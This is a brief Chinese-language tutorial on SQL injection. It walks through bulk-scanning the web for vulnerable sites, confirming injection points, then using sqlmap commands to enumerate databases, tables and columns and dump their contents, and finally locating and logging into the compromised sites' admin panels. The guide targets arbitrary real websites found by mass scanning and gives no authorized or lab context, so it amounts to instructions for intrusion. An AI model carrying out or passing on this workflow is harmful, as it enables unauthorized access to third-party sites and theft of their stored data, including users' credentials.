利用工具的SQL注入实战

第一步：利用傀儡注入点批量扫描工具或者其它方式找出有漏洞的网站     

第二步：将傀儡扫到的URL复制到文本文档，使用超级sql注入工具进行注入扫描操作，确认是否存在注入点的URL

第三步：将有注入点的URL放入到KaliLinux中进行破解，先解析数据库，命令格式为sqlmap -u URL地址 --dbs

第四部：在kaliLinux中继续破解表名，命令格式为：sqlmap -u URL地址 --tables -D 数据库名

第五步：在kaliLinux中继续破解表中的字段名称，命令格式为：sqlmap -u URL地址 --columns -T 表名  -D 数据库名

第六步：在kaliLinux中破解字段里面的内容，命令格式为：sqlmap -u URL地址 --dump -C 字段名 -T 表名 -D 数据库名

第七部：利用后台扫描工具找到注入网站的后台

第八步：登陆网站后台